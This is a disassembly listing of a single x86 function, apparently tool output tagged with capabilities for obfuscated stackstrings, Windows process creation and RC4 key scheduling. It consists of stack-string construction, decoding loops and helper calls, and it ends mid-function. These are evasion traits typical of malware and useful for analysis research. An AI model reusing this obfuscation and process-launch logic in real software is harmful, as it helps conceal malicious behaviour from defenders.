Function at 0x418438
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa5c
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov byte [esp + 0x498], cl
je 0x418499
cmp byte [ebp + 0x1c], 0
je 0x418486
mov edx, dword [ebp + 8]
mov dword [edx], 0
cmp dword [edx], 4
jge 0x419f59
mov esi, dword [ebp + 0x18]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x5189d9e6
inc dword [edx]
cmp dword [edx], 4
jl 0x41846f
jmp 0x419f59
mov eax, dword [ebp + 0x14]
cmp dword [eax + 0x14], 8
jb 0x418491
mov eax, dword [eax]
mov dword [edx + 0x10], eax
jmp 0x419f59
test cl, cl
je 0x419f47
xor eax, eax
mov dword [esp + 0x108], 0x38063804
xor ebx, ebx
mov dword [esp + 0x10c], 0x3c073508
inc ebx
mov dword [esp + 0x110], 0xb61f3c09
mov dword [esp + 0x114], 0x66988efc
mov esi, eax
mov dword [esp + 0x118], 0x6c8d9ca5
mov edi, eax
mov dword [esp + 0x11c], 0xd66a9229
mov dword [esp + 0x120], 0x8b921529
mov dword [esp + 0x124], 0xde9a63c3
mov dword [esp + 0x128], 0x62ab89cb
mov dword [esp + 0x12c], 0xff28d658
mov dword [esp + 0x130], 0x23d0083
mov dword [esp + 0x134], 0x3420541
mov byte [esp + 0x138], 0x48
mov byte [esp + 0x139], bl
mov byte [esp + 0x13a], 0x44
cmp esi, 0xa
jne 0x418552
push 0x1f
pop edi
push 0x27
pop esi
jmp 0x418595
movzx eax, byte [esp + esi + 0x109]
mov edx, 0xfcc
sub eax, esi
dec eax
add eax, edi
push ebx
mov dword [esp + 0x4b0], eax
lea eax, [esp + 0x4b0]
push ecx
push eax
call fcn.0041a86c
movzx ecx, byte [esp + esi + 0x114]
add esp, 0xc
mov ax, word [esp + 0x4ac]
mov word [esp + ecx*2 + 0x6dc], ax
add esi, 2
cmp esi, 0x33
jb 0x418545
xor eax, eax
mov word [esp + 0xdc], 0x3300
push 0x18
pop ecx
mov word [esp + 0x6f0], ax
mov edx, eax
mov byte [esp + 0xde], cl
mov edi, eax
mov dword [esp + 0xdf], 0xcb9f247d
mov dword [esp + 0xe3], 0x5b5486a0
mov dword [esp + 0xe7], 0xdb44a622
mov word [esp + 0xeb], 0x7cf5
mov byte [esp + 0xed], cl
mov dword [esp + 0xee], 0x52b624a0
mov dword [esp + 0xf2], 0x84006672
mov dword [esp + 0xf6], 0x3e083702
mov dword [esp + 0xfa], 0x41054009
mov dword [esp + 0xfe], 0x44034204
mov byte [esp + 0x102], bl
mov dword [esp + 0x103], 0x7410640
mov byte [esp + 0x107], 0x44
cmp edx, 2
jne 0x41864d
mov edi, ecx
mov edx, ecx
jmp 0x418684
movzx ecx, byte [esp + edx + 0xdd]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418671
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0xdc]
push 0x18
mov word [esp + ecx*2 + 0x6c8], si
pop ecx
add edx, 2
cmp edx, 0x2c
jb 0x418642
xor ecx, ecx
mov word [esp + 0xb0], 0x3904
push 0x18
mov word [esp + 0x6dc], cx
mov edx, eax
pop ecx
mov byte [esp + 0xb2], bl
mov edi, eax
mov dword [esp + 0xb3], 0x63c0334
mov word [esp + 0xb7], 0x239
mov byte [esp + 0xb9], 0x3d
mov byte [esp + 0xba], cl
mov dword [esp + 0xbb], 0x4ddcc787
mov dword [esp + 0xbf], 0x82f3b95c
mov dword [esp + 0xc3], 0x8c6de091
mov dword [esp + 0xc7], 0x3d5d4f50
mov dword [esp + 0xcb], 0x6d838df0
mov dword [esp + 0xcf], 0x92847bf
mov dword [esp + 0xd3], 0x53f003c
mov dword [esp + 0xd7], 0x7440840
mov byte [esp + 0xdb], 0x4b
cmp edx, 0xa
jne 0x41873e
push 0x20
mov edi, ecx
pop edx
jmp 0x418775
movzx ecx, byte [esp + edx + 0xb1]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418762
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0xb0]
push 0x18
mov word [esp + ecx*2 + 0x6b0], si
pop ecx
add edx, 2
cmp edx, 0x2c
jb 0x418732
mov dword [esp + 0x5b0], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x6c0], cx
mov word [esp + 0x5a0], ax
lea ecx, [esp + 0x5a0]
lea eax, [esp + 0x6dc]
mov dword [esp + 0x5b4], 7
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x5cc], 7
mov word [esp + 0x5b8], ax
lea ecx, [esp + 0x5b8]
lea eax, [esp + 0x6c4]
xor esi, esi
push eax
mov dword [esp + 0x5cc], esi
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x5e4], 7
mov word [esp + 0x5d0], ax
lea ecx, [esp + 0x5d0]
lea eax, [esp + 0x6ac]
mov dword [esp + 0x5e0], esi
push eax
call fcn.0041ba4a
push dword [esp + 0x18]
lea ecx, [esp + 0x5ec]
xor eax, eax
push ecx
lea ecx, [esp + 0x5a8]
mov dword [esp + 0x4d0], eax
push ecx
push eax
lea ecx, [esp + 0x4d8]
mov dword [esp + 0x4dc], eax
mov dword [esp + 0x4e0], eax
call fcn.0041bcb9
push fcn.0041650b
push 3
push 0x18
pop eax
push eax
lea eax, [esp + 0x5ac]
push eax
call fcn.0040f80e
xor eax, eax
mov word [esp + 0x84], 0x6603
lea edi, [esp + 0x6dc]
mov byte [esp + 0x86], bl
stosd dword es:[edi], eax
mov dword [esp + 0x87], 0xa750472
mov dword [esp + 0x8b], 0x7ae9156c
mov dword [esp + 0x8f], 0x265bc557
stosd dword es:[edi], eax
mov dword [esp + 0x93], 0x5be88595
mov dword [esp + 0x97], 0x5f2ab9e
mov dword [esp + 0x9b], 0x6abe9184
stosd dword es:[edi], eax
mov dword [esp + 0x9f], 0x7d02cf43
mov dword [esp + 0xa3], 0x6e058309
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x6c4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x6ac]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov dword [esp + 0xa7], 0x76083d07
mov dword [esp + 0xab], 0x79068100
mov edi, eax
cmp esi, 8
jne 0x418929
push 0x15
pop edi
push 0x1b
pop esi
jmp 0x41897f
movzx ecx, byte [esp + esi + 0x85]
mov edx, 0x6bbd
sub ecx, esi
dec ecx
push ebx
add ecx, edi
push 0x7fba
mov dword [esp + 0x4c4], ecx
lea ecx, [esp + 0x4c4]
push 0x346a
push ecx
push eax
push 0x7eb
xor cl, cl
call fcn.00418438
movzx ecx, byte [esp + esi + 0x9c]
add esp, 0x18
mov ax, word [esp + 0x4bc]
mov word [esp + ecx*2 + 0x730], ax
xor eax, eax
add esi, 2
cmp esi, 0x2b
jb 0x41891c
xor ecx, ecx
mov dword [esp + 0x64], 0x66006605
mov word [esp + 0x746], cx
mov edx, eax
mov byte [esp + 0x68], bl
mov edi, eax
mov dword [esp + 0x69], 0x3730266
mov dword [esp + 0x6d], 0xe70076c
mov dword [esp + 0x71], 0xd50d226c
mov dword [esp + 0x75], 0x5c5507d3
mov dword [esp + 0x79], 0x25380b68
mov dword [esp + 0x7d], 0x48506f8
mov byte [esp + 0x81], 0x3d
cmp edx, 0xc
jne 0x4189e6
push 0xe
pop edi
push 0x18
pop edx
jmp 0x418a14
movzx ecx, byte [esp + edx + 0x65]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418a07
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x64]
mov word [esp + ecx*2 + 0x564], si
add edx, 2
cmp edx, 0x1e
jb 0x4189d9
xor ecx, ecx
mov dword [esp + 0x30], 0x66007905
mov word [esp + 0x574], cx
mov edx, eax
mov dword [esp + 0x34], 0x35036902
mov edi, eax
mov word [esp + 0x38], 0x6e04
mov byte [esp + 0x3a], bl
mov dword [esp + 0x3b], 0xbf70578
mov dword [esp + 0x3f], 0x7206ed76
cmp edx, 0xc
jne 0x418a62
push 5
pop edi
push 0xf
pop edx
jmp 0x418a90
movzx ecx, byte [esp + edx + 0x31]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418a83
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x30]
mov word [esp + ecx*2 + 0x50c], si
add edx, 2
cmp edx, 0x13
jb 0x418a55
xor ecx, ecx
mov dword [esp + 0x170], 0x6b006605
mov word [esp + 0x51a], cx
mov esi, eax
mov dword [esp + 0x174], 0x7f063304
mov edi, eax
mov dword [esp + 0x178], 0x7b036e07
mov dword [esp + 0x17c], 0xaa5d8925
mov dword [esp + 0x180], 0x8756b519
mov dword [esp + 0x184], 0xf9877264
mov dword [esp + 0x188], 0xa5fc6d45
mov dword [esp + 0x18c], 0x1f75165c
mov dword [esp + 0x190], 0xb174477c
mov dword [esp + 0x194], 0x5894265c
mov dword [esp + 0x198], 0x101c4c90
mov dword [esp + 0x19c], 0x51d427b8
mov byte [esp + 0x1a0], 0xf8
mov byte [esp + 0x1a1], bl
mov word [esp + 0x1a2], 0x272
mov byte [esp + 0x1a4], 0x7b
cmp esi, 0xc
jne 0x418b58
push 0x25
pop edi
push 0x2f
pop esi
jmp 0x418b9a
movzx eax, byte [esp + esi + 0x171]
lea ecx, [esp + 0x4c4]
sub eax, esi
xor dl, dl
dec eax
add eax, edi
push ebx
push 0x3ad3
mov dword [esp + 0x4cc], eax
call fcn.0041829e
mov ax, word [esp + 0x4cc]
pop ecx
pop ecx
movzx ecx, byte [esp + esi + 0x170]
mov word [esp + ecx*2 + 0x58c], ax
add esi, 2
cmp esi, 0x35
jb 0x418b4b
xor eax, eax
mov dword [esp + 0x1c], 0x73006607
mov word [esp + 0x59c], ax
mov edx, eax
mov dword [esp + 0x20], 0x35046a05
mov edi, eax
mov dword [esp + 0x24], 0x72038106
mov word [esp + 0x28], 0x7b02
mov byte [esp + 0x2a], bl
mov word [esp + 0x2b], 0x278
mov byte [esp + 0x2d], 0xf6
cmp edx, 0x10
jne 0x418be9
push 2
pop edi
jmp 0x418c17
movzx ecx, byte [esp + edx + 0x1d]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418c0a
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x1c]
mov word [esp + ecx*2 + 0x578], si
add edx, 2
cmp edx, 0x12
jb 0x418bdf
xor ecx, ecx
mov dword [esp + 0x1a8], 0x31077005
mov edi, eax
mov word [esp + 0x588], cx
mov dword [esp + 0x1ac], 0x79067c00
mov esi, eax
mov dword [esp + 0x1b0], 0x7f036f04
mov dword [esp + 0x1b4], 0xeac0c020
mov dword [esp + 0x1b8], 0xd652d99e
mov dword [esp + 0x1bc], 0xffee742d
mov dword [esp + 0x1c0], 0x2cec77f9
mov dword [esp + 0x1c4], 0x399d7941
mov dword [esp + 0x1c8], 0x5ededffd
mov dword [esp + 0x1cc], 0xb4ed4414
mov dword [esp + 0x1d0], 0xf47b1fcf
mov dword [esp + 0x1d4], 0x8709720a
mov word [esp + 0x1d8], 0x7a02
mov byte [esp + 0x1da], bl
mov word [esp + 0x1db], 0x874
mov byte [esp + 0x1dd], 0x7a
mov dword [esp + 0x4c0], edi
cmp esi, 0xc
jne 0x418d02
push eax
push ecx
push 0x3689
lea edx, [esp + 0x4cc]
call fcn.0041a86c
mov edi, dword [esp + 0x4cc]
add esp, 0xc
push 0x2a
pop esi
jmp 0x418d48
movzx ecx, byte [esp + esi + 0x1a9]
mov dl, bl
sub ecx, esi
dec ecx
add ecx, edi
push 0x718b
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x10]
push 0x10cd
push ecx
push ebx
push eax
mov ecx, 0xe35
call fcn.0041c164
movzx ecx, byte [esp + esi + 0x1bc]
add esp, 0x14
mov ax, word [esp + 0xc]
mov word [esp + ecx*2 + 0x748], ax
add esi, 2
push 0
pop eax
cmp esi, 0x36
jb 0x418cdb
mov word [esp + 0x75e], ax
mov edx, eax
mov word [esp + 0x1e0], 0x7907
mov edi, eax
mov byte [esp + 0x1e2], bl
mov dword [esp + 0x1e3], 0x66a086b
mov dword [esp + 0x1e7], 0x37056c
mov dword [esp + 0x1eb], 0x3720482
mov dword [esp + 0x1ef], 0x73da2481
mov dword [esp + 0x1f3], 0x6b9700cc
mov dword [esp + 0x1f7], 0x1447b89b
mov dword [esp + 0x1fb], 0xad87a0ab
mov dword [esp + 0x1ff], 0xaadffb16
mov dword [esp + 0x203], 0x4dea054e
mov dword [esp + 0x207], 0x76b72a5f
mov dword [esp + 0x20b], 0xbc6e7674
mov dword [esp + 0x20f], 0xbc374d9d
mov word [esp + 0x213], 0x2cf
mov byte [esp + 0x215], 0x76
cmp edx, 0x10
jne 0x418e13
push 0x24
pop edi
push 0x32
pop edx
jmp 0x418e47
movzx ecx, byte [esp + edx + 0x1e1]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x418e37
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x1e0]
mov word [esp + ecx*2 + 0x5ec], si
add edx, 2
cmp edx, 0x36
jb 0x418e06
mov dword [esp + 0x610], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x5fe], cx
push 7
pop ebx
mov word [esp + 0x600], ax
lea ecx, [esp + 0x600]
lea eax, [esp + 0x730]
mov dword [esp + 0x614], ebx
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x62c], ebx
mov word [esp + 0x618], ax
lea ecx, [esp + 0x618]
lea eax, [esp + 0x564]
xor esi, esi
push eax
mov dword [esp + 0x62c], esi
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x644], ebx
mov word [esp + 0x630], ax
lea ecx, [esp + 0x630]
lea eax, [esp + 0x50c]
mov dword [esp + 0x640], esi
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x65c], ebx
mov word [esp + 0x648], ax
lea ecx, [esp + 0x648]
lea eax, [esp + 0x58c]
mov dword [esp + 0x658], esi
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x674], ebx
mov word [esp + 0x660], ax
lea ecx, [esp + 0x660]
lea eax, [esp + 0x578]
mov dword [esp + 0x670], esi
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x68c], ebx
mov word [esp + 0x678], ax
lea ecx, [esp + 0x678]
lea eax, [esp + 0x748]
mov dword [esp + 0x688], esi
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x6a4], ebx
mov word [esp + 0x690], ax
lea ecx, [esp + 0x690]
lea eax, [esp + 0x5ec]
mov dword [esp + 0x6a0], esi
push eax
call fcn.0041ba4a
push dword [esp + 0x18]
lea ecx, [esp + 0x6ac]
xor eax, eax
push ecx
lea ecx, [esp + 0x608]
mov dword [esp + 0x4b8], eax
push ecx
push eax
lea ecx, [esp + 0x4c0]
mov dword [esp + 0x4c4], eax
mov dword [esp + 0x4c8], eax
call fcn.0041bcb9
push fcn.0041650b
push ebx
push 0x18
pop ebx
push ebx
lea eax, [esp + 0x60c]
push eax
call fcn.0040f80e
xor eax, eax
mov dword [esp + 0x10], 0x67026400
push 6
pop ecx
lea edi, [esp + 0x730]
mov word [esp + 0x14], 0x7201
rep stosd dword es:[edi], eax
lea edi, [esp + 0x564]
stosd dword es:[edi], eax
push 6
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x50c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [esp + 0x58c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x578]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x748]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x5ec]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [esp + 0x4b4]
sub eax, dword [esp + 0x4b0]
cdq
idiv ebx
mov ebx, eax
xor eax, eax
mov dword [esp + 0xc], ebx
movzx edx, byte [esp + esi + 0x11]
sub edx, esi
dec edx
jns 0x419086
or ecx, 0xffffffff
sub ecx, edx
add edx, 0x100
and ecx, 0xffffff00
add edx, ecx
movzx ecx, byte [esp + esi + 0x10]
add esi, 2
mov word [esp + ecx*2 + 0x4d4], dx
cmp esi, 6
jb 0x419069
mov dword [esp + 0x504], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x4da], cx
mov word [esp + 0x4f4], ax
lea ecx, [esp + 0x4f4]
lea eax, [esp + 0x4d4]
mov dword [esp + 0x508], 7
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x44], 0x32004401
mov dword [esp + 0x4d4], eax
mov edx, eax
mov dword [esp + 0x4d8], eax
mov edi, eax
mov dword [esp + 0x48], 0xb2d68d19
mov dword [esp + 0x4c], 0xe7c826a5
mov dword [esp + 0x50], 0x21757928
mov dword [esp + 0x54], 0x577d04ef
mov dword [esp + 0x58], 0x6d2d05a8
mov dword [esp + 0x5c], 0xfa982738
mov byte [esp + 0x60], 0x65
cmp edx, 4
jne 0x419133
push 0x19
pop edi
push 0x1b
pop edx
jmp 0x419161
movzx ecx, byte [esp + edx + 0x45]
lea esi, [edi - 1]
sub ecx, edx
add esi, ecx
jns 0x419154
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x44]
mov word [esp + ecx*2 + 0x4a0], si
add edx, 2
cmp edx, 0x1d
jb 0x419126
mov dword [esp + 0x4ec], eax
xor ecx, ecx
xor eax, eax
mov word [esp + 0x4a4], cx
mov word [esp + 0x4dc], ax
lea ecx, [esp + 0x4dc]
lea eax, [esp + 0x4a0]
mov dword [esp + 0x4f0], 7
push eax
call fcn.0041ba4a
mov edi, dword [esp + 0x4c8]
xor eax, eax
mov dword [esp + 0x4a0], eax
mov word [esp + 0x4a4], ax
cmp edi, dword [esp + 0x4cc]
je 0x41994e
xor ebx, ebx
inc ebx
push 0x18
mov byte [esp + 0x226], bl
mov edx, eax
pop ecx
mov ebx, eax
mov dword [esp + 0x218], 0x67132120
mov dword [esp + 0x21c], 0x630f791b
mov word [esp + 0x220], 0x7814
mov dword [esp + 0x223], 0xd3f1f71
mov dword [esp + 0x227], 0x57e2272
mov byte [esp + 0x22b], 0x7c
mov byte [esp + 0x22c], cl
mov dword [esp + 0x22d], 0x6460a88
mov dword [esp + 0x231], 0x1a8e0885
mov dword [esp + 0x235], 0x178f0b90
mov dword [esp + 0x239], 0x1096167d
mov dword [esp + 0x23d], 0x78d049c
mov dword [esp + 0x241], 0x2650e8e
mov dword [esp + 0x245], 0x15a8199c
mov dword [esp + 0x249], 0x3a01da8
mov dword [esp + 0x24d], 0x125709a7
mov dword [esp + 0x251], 0x21a411a7
mov byte [esp + 0x255], 0x6c
mov byte [esp + 0x256], al
mov dword [esp + 0x257], 0x11741e5f
mov dword [esp + 0x25b], 0xf6c7e289
mov dword [esp + 0x25f], 0xc34182c3
mov dword [esp + 0x263], 0xe2ac93eb
mov dword [esp + 0x267], 0x48e613b3
mov dword [esp + 0x26b], 0xaa1c630c
mov word [esp + 0x26f], 0x6723
mov dword [esp + 0x4a8], ebx
cmp edx, 0x42
jne 0x419324
push 0x4e07
push 0x6045
push 0x55ea
push eax
push 1
xor dl, dl
lea ecx, [esp + 0x4bc]
call fcn.0041c164
mov ebx, dword [esp + 0x4bc]
add esp, 0x14
xor eax, eax
push 0x51
pop edx
jmp 0x419358
movzx ecx, byte [esp + edx + 0x219]
lea esi, [ebx - 1]
sub ecx, edx
add esi, ecx
jns 0x419348
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x218]
mov word [esp + ecx*2 + 0x898], si
add edx, 2
cmp edx, 0x59
jb 0x4192ee
xor ecx, ecx
mov dword [esp + 0x3a0], 0x72256659
push 0x18
mov word [esp + 0x8e4], cx
mov edx, eax
pop ecx
mov dword [esp + 0x3a4], 0x366b611a
mov ebx, eax
mov dword [esp + 0x3a8], 0x2b6d7227
mov dword [esp + 0x3ac], 0x74452f15
mov dword [esp + 0x3b0], 0x7410854d
mov dword [esp + 0x3b4], 0x5a0a8955
mov dword [esp + 0x3b8], 0x77476116
mov dword [esp + 0x3bc], 0x721b7437
mov dword [esp + 0x3c0], 0x9632862a
mov dword [esp + 0x3c4], 0x9a4e9746
mov dword [esp + 0x3c8], 0x821f9d5e
mov dword [esp + 0x3cc], 0x7f248e54
mov dword [esp + 0x3d0], 0xa50c964b
mov dword [esp + 0x3d4], 0xa5398950
mov dword [esp + 0x3d8], 0xa9439e42
mov dword [esp + 0x3dc], 0x9b2cac3b
mov dword [esp + 0x3e0], 0x630fb063
mov dword [esp + 0x3e4], 0x8b579721
mov dword [esp + 0x3e8], 0xb20ec03c
mov dword [esp + 0x3ec], 0x9358a965
mov word [esp + 0x3f0], 0x7167
mov byte [esp + 0x3f2], al
mov dword [esp + 0x3f3], 0x4cca5c73
mov dword [esp + 0x3f7], 0x28bf5ab8
mov dword [esp + 0x3fb], 0x607d0bbe
mov dword [esp + 0x3ff], 0x51d330c2
mov dword [esp + 0x403], 0x38cb69cb
mov dword [esp + 0x407], 0xd893ed0
mov dword [esp + 0x40b], 0x44d112d0
mov dword [esp + 0x40f], 0x23e34ad3
mov dword [esp + 0x413], 0x34a409cf
mov dword [esp + 0x417], 0x52ec2bdd
mov dword [esp + 0x41b], 0x56ac68ed
mov dword [esp + 0x41f], 0x6cd548c8
mov dword [esp + 0x423], 0x66d91ef9
mov dword [esp + 0x427], 0x20ee40a9
mov dword [esp + 0x42b], 0x5fd222cc
mov dword [esp + 0x42f], 0x4ff741d0
mov dword [esp + 0x433], 0x7b56aef
mov dword [esp + 0x437], 0x5e417fb
mov dword [esp + 0x43b], 0x2d062efe
mov dword [esp + 0x43f], 0x640d26ec
mov dword [esp + 0x443], 0x3fc50311
mov dword [esp + 0x447], 0x35155deb
mov dword [esp + 0x44b], 0x3316291f
mov dword [esp + 0x44f], 0x1d1131e
mov dword [esp + 0x453], 0xa0a608e2
mov dword [esp + 0x457], 0x4f7d3530
mov dword [esp + 0x45b], 0x1c1d49cb
mov dword [esp + 0x45f], 0x141e5306
mov dword [esp + 0x463], 0x11303d17
mov dword [esp + 0x467], 0x61e30423
mov byte [esp + 0x46b], 0x37
mov byte [esp + 0x46c], cl
mov dword [esp + 0x46d], 0x8141911
mov dword [esp + 0x471], 0x2f3a31e9
mov dword [esp + 0x475], 0x3a305b30
mov dword [esp + 0x479], 0x62400635
mov dword [esp + 0x47d], 0x21d1d3e
mov word [esp + 0x481], 0x363c
mov byte [esp + 0x483], 0x37
mov dword [esp + 0x490], edx
cmp edx, 0xb4
jne 0x419641
push 8
pop ebx
lea ecx, [esp + 0x490]
mov dl, 1
push ecx
push 0x7db3
push 0x1333
push eax
push 1
mov ecx, 0x7857
call fcn.0041c164
mov edx, dword [esp + 0x4a4]
add esp, 0x14
xor eax, eax
jmp 0x419675
movzx ecx, byte [esp + edx + 0x3a1]
lea esi, [ebx - 1]
sub ecx, edx
add esi, ecx
jns 0x419665
or ecx, 0xffffffff
sub ecx, esi
add esi, 0x100
and ecx, 0xffffff00
add esi, ecx
movzx ecx, byte [esp + edx + 0x3a0]
mov word [esp + ecx*2 + 0x988], si
add edx, 2
mov dword [esp + 0x490], edx
cmp edx, 0xe4
jb 0x419607
push 7
pop ebx
xor ecx, ecx
mov byte [esp + 0x13c], bl
mov word [esp + 0xa64], cx
mov esi, eax
push 0x18
pop ecx
mov byte [esp + 0x14d], cl
mov ecx, eax
mov dword [esp + 0x13d], 0x5560860
mov dword [esp + 0x141], 0x4360b4a
mov word [esp + 0x145], 0x35b
mov byte [esp + 0x147], 0x2b
mov byte [esp + 0x148], al
mov dword [esp + 0x149], 0x102f0d2d
mov dword [esp + 0x14e], 0xeeebf6dc
mov dword [esp + 0x152], 0xf46bc42f
mov byte [esp + 0x156], 0xcf
mov byte [esp + 0x157], bl
mov dword [esp + 0x158], 0x24a1a573
mov dword [esp + 0x15c], 0x5a066b09
mov dword [esp + 0x160], 0x4d0e350a
mov dword [esp + 0x164], 0x8f027d0c
mov dword [esp + 0x168], 0x410f4311
mov dword [esp + 0x16c], 0x43105001
mov dword [esp + 0x494], ecx
cmp ecx, 0x10
jne 0x419786
push ecx
pop esi
push 0xece
lea eax, [esp + 0x498]
mov dl, 1
push eax
push 0x284a
push 1
push 1
mov ecx, 0x23c4
call fcn.0041c164
mov ecx, dword [esp + 0x4a8]
add esp, 0x14
jmp 0x4197b9
movzx eax, byte [esp + ecx + 0x13d]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x4197a9
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x13c]
mov word [esp + eax*2 + 0x820], dx
add ecx, 2
mov dword [esp + 0x494], ecx
cmp ecx, 0x34
jb 0x419751
xor eax, eax
mov dword [esp + 0x548], ebx
mov word [esp + 0x844], ax
lea ecx, [esp + 0x534]
mov word [esp + 0x534], ax
xor esi, esi
lea eax, [esp + 0x820]
mov dword [esp + 0x544], esi
push eax
call fcn.0041ba4a
xor eax, eax
mov dword [esp + 0x560], ebx
mov word [esp + 0x54c], ax
lea ecx, [esp + 0x54c]
lea eax, [esp + 0x988]
mov dword [esp + 0x55c], esi
push eax
call fcn.0041ba4a
call fcn.00460437
xor edx, edx
mov dword [esp + 0x530], 7
div dword [esp + 0xc]
xor eax, eax
mov dword [esp + 0x52c], esi
imul ebx, edx, 0x18
lea ecx, [esp + 0x51c]
mov word [esp + 0x51c], ax
lea eax, [esp + 0x898]
push eax
add ebx, dword [esp + 0x4b4]
call fcn.0041ba4a
lea eax, [esp + 0x534]
push eax
push edi
lea eax, [esp + 0x554]
push eax
push ebx
lea edx, [esp + 0x52c]
lea ecx, [esp + 0x818]
call fcn.0041bb68
pop ecx
mov edx, eax
lea ecx, [esp + 0x7b4]
call fcn.0041bb97
pop ecx
mov edx, eax
lea ecx, [esp + 0x798]
call fcn.0041bb68
pop ecx
mov edx, eax
lea ecx, [esp + 0x7dc]
call fcn.0041bb97
push ecx
push eax
lea ecx, [esp + 0x4e8]
call fcn.0041badf
xor ebx, ebx
lea ecx, [esp + 0x7d8]
push esi
inc ebx
push ebx
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x798]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x7b0]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x810]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x524]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x554]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x53c]
call fcn.00416c0c
push 0x18
pop eax
add edi, eax
push esi
pop eax
cmp edi, dword [esp + 0x4cc]
jne 0x4191cb
mov ebx, dword [esp + 0xc]
xor eax, eax
push 0x18
pop ecx
mov esi, eax
mov dword [esp + 0x278], 0x3d0e2120
mov dword [esp + 0x27c], 0x63176e11
mov edi, eax
mov dword [esp + 0x280], 0x701c6c0d
mov dword [esp + 0x284], 0x75048008
mov dword [esp + 0x288], 0x82028810
mov dword [esp + 0x28c], 0x7b133500
mov dword [esp + 0x290], 0x881d890b
mov dword [esp + 0x294], 0x96158a22
mov dword [esp + 0x298], 0x9214410c
mov dword [esp + 0x29c], 0x47239816
mov word [esp + 0x2a0], 0x580a
mov byte [esp + 0x2a2], cl
mov dword [esp + 0x2a3], 0x215f1f9e
mov dword [esp + 0x2a7], 0x58d0f5e
mov dword [esp + 0x2ab], 0x1a55099c
mov dword [esp + 0x2af], 0x126c1eaa
mov dword [esp + 0x2b3], 0x3a301a9
mov dword [esp + 0x2b7], 0x1ea607b1
mov dword [esp + 0x2bb], 0xacc9b42b
mov dword [esp + 0x2bf], 0x1271790e
mov dword [esp + 0x2c3], 0xcd2c7dfe
mov dword [esp + 0x2c7], 0x5382584d
mov dword [esp + 0x2cb], 0x16a96961
mov dword [esp + 0x2cf], 0x13a5c8b8
mov dword [esp + 0x2d3], 0xa7b37c28
mov dword [esp + 0x2d7], 0x6b71b6c
mov word [esp + 0x2db], 0x19b1
mov byte [esp + 0x2dd], 0xc0
mov dword [esp + 0x48c], esi
cmp esi, 0x42
jne 0x419acc
